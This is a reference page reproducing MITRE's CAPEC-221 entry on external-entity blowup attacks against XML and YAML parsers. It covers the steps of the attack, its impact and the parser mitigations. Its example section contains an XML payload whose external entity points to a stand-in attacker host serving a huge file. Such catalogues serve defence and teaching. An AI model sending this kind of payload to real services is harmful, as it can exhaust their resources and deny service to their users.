COMMON ATTACK PATTERN ENUMERATION AND CLASSIFICATIONLive MITRE record

CAPEC-221

Data Serialization External Entities Blowup

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.

Abstraction

Detailed

Typical severity

High

Likelihood of attack

Medium

Understand the attack

What is this attack pattern?

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.

Execution flow

How does the attack proceed, step by step?

1

Explore

Find target web service

The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.
2

Experiment

Host malicious file on a server

The adversary will create a web server that contains a malicious file. This file will be extremely large, so that if a web service were to try to load it, the service would most likely hang.

Craft malicious data

Using the serialization language that the web service takes as input, the adversary will craft data that links to the malicious file using an external entity reference to the URL of the file.
3

Exploit

Send serialized data containing URI

The adversary will send specially crafted serialized data to the web service. When the web service loads the input, it will attempt to download the malicious file. Depending on the amount of memory the web service has, this could either crash the service or cause it to hang, resulting in a Denial of Service attack.

Requirements

What does the attack require?

Prerequisites

  • A server that has an implementation that accepts entities containing URI values.

Skills required

Not stated in the MITRE record.

Resources required

Not stated in the MITRE record.

Impact

What does a successful attack lead to?

Resource Consumption

Affected scopes: Availability

Execute Unauthorized Commands

Affected scopes: Confidentiality, Integrity, Availability

Defence

How is it prevented and mitigated?

1
This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.
2
This attack may be mitigated by tweaking the serialized data parser to not resolve external entities. If external entities are needed, then implement a custom resolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.

Real world

MITRE example instances

Example instance 1Detail
In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer. <?xml version="1.0"?> < !DOCTYPE bomb [ <!ENTITY detonate SYSTEM "http://www.malicious-badguy.com/myhugefile.exe"> ]> <bomb>&detonate;</bomb>
CAPEC-221: Data Serialization External Entities Blowup — DayBreach Saldırı Sözlüğü · DayBreach